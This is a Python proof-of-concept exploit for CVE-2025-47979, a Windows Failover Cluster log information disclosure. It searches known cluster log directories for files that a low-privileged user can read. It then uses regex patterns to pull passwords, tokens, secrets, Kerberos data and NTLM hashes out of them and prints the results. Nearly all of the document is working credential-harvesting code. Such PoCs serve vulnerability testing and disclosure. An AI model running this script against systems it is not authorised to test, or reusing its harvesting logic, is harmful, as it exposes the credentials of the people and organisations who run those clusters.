# CVE-2025-47979 - Windows Failover Cluster Log Information Disclosure
# PoC for demonstrating sensitive information exposure in cluster log files
# Note: This PoC demonstrates how a low-privileged local user can attempt to
# access sensitive information from Windows Failover Cluster log files.
import os
import sys
import re
from pathlib import Path
def check_cluster_logs():
"""
Check for accessible Windows Failover Cluster log files
that may contain sensitive information.
"""
# Common paths where Windows Failover Cluster stores logs
cluster_log_paths = [
r"C:\Windows\Cluster\Reports",
r"C:\Windows\Cluster\Logs",
r"%SystemRoot%\Cluster\Reports",
r"C:\Windows\System32\LogFiles\Cluster",
r"C:\ProgramData\Microsoft\Windows\Cluster",
]
accessible_logs = []
for log_path in cluster_log_paths:
expanded_path = os.path.expandvars(log_path)
path = Path(expanded_path)
if path.exists():
print(f"[*] Found cluster log directory: {expanded_path}")
try:
# Try to list directory contents
for log_file in path.iterdir():
if log_file.is_file():
# Check if file is readable by current user
if os.access(str(log_file), os.R_OK):
print(f"[+] Readable log file: {log_file}")
accessible_logs.append(str(log_file))
except PermissionError:
print(f"[-] Access denied to: {expanded_path}")
else:
print(f"[-] Directory not found: {expanded_path}")
return accessible_logs
def extract_sensitive_info(log_file_path):
"""
Extract potentially sensitive information from cluster log files.
Looks for patterns that may indicate credentials, tokens, or
other sensitive data that should not be exposed.
"""
sensitive_patterns = [
(r'(?i)password\s*[=:]\s*(\S+)', 'Password'),
(r'(?i)credential\s*[=:]\s*(\S+)', 'Credential'),
(r'(?i)token\s*[=:]\s*(\S+)', 'Token'),
(r'(?i)secret\s*[=:]\s*(\S+)', 'Secret'),
(r'(?i)kerberos\s+(\S+)', 'Kerberos Info'),
(r'(?i)ntlm\s+(\S+)', 'NTLM Hash'),
(r'(?i)account\s*[=:]\s*(\S+)', 'Account Info'),
(r'(?i)cluster\s+name\s*[=:]\s*(\S+)', 'Cluster Name'),
(r'(?i)node\s+(\S+)', 'Node Info'),
]
findings = []
try:
with open(log_file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
for pattern, info_type in sensitive_patterns:
matches = re.findall(pattern, content)
if matches:
for match in matches:
findings.append({
'type': info_type,
'value': match[:50] + '...' if len(match) > 50 else match,
'file': log_file_path
})
except Exception as e:
print(f"[!] Error reading {log_file_path}: {e}")
return findings
def main():
print("=" * 70)
print("CVE-2025-47979 - Windows Failover Cluster Log Disclosure Checker")
print("=" * 70)
print()
# Check current user privileges
import ctypes
try:
is_admin = ctypes.windll.shell32.IsUserAnAdmin()
print(f"[*] Running as Administrator: {is_admin}")
except:
print("[*] Unable to determine privilege level")
print()
# Step 1: Find accessible cluster log files
print("[Step 1] Searching for accessible cluster log files...")
print("-" * 50)
accessible_logs = check_cluster_logs()
print()
# Step 2: Extract sensitive information from found logs
if accessible_logs:
print("[Step 2] Analyzing log files for sensitive information...")
print("-" * 50)
all_findings = []
for log_file in accessible_logs:
print(f"[*] Analyzing: {log_file}")
findings = extract_sensitive_info(log_file)
all_findings.extend(findings)
print()
print(f"[Results] Found {len(all_findings)} potentially sensitive items:")
print("-" * 50)
for finding in all_findings:
print(f" Type: {finding['type']}")
print(f" Value: {finding['value']}")
print(f" File: {finding['file']}")
print()
else:
print("[Result] No accessible cluster log files found.")
print(" The system may be patched or logs are properly secured.")
if __name__ == "__main__":
main()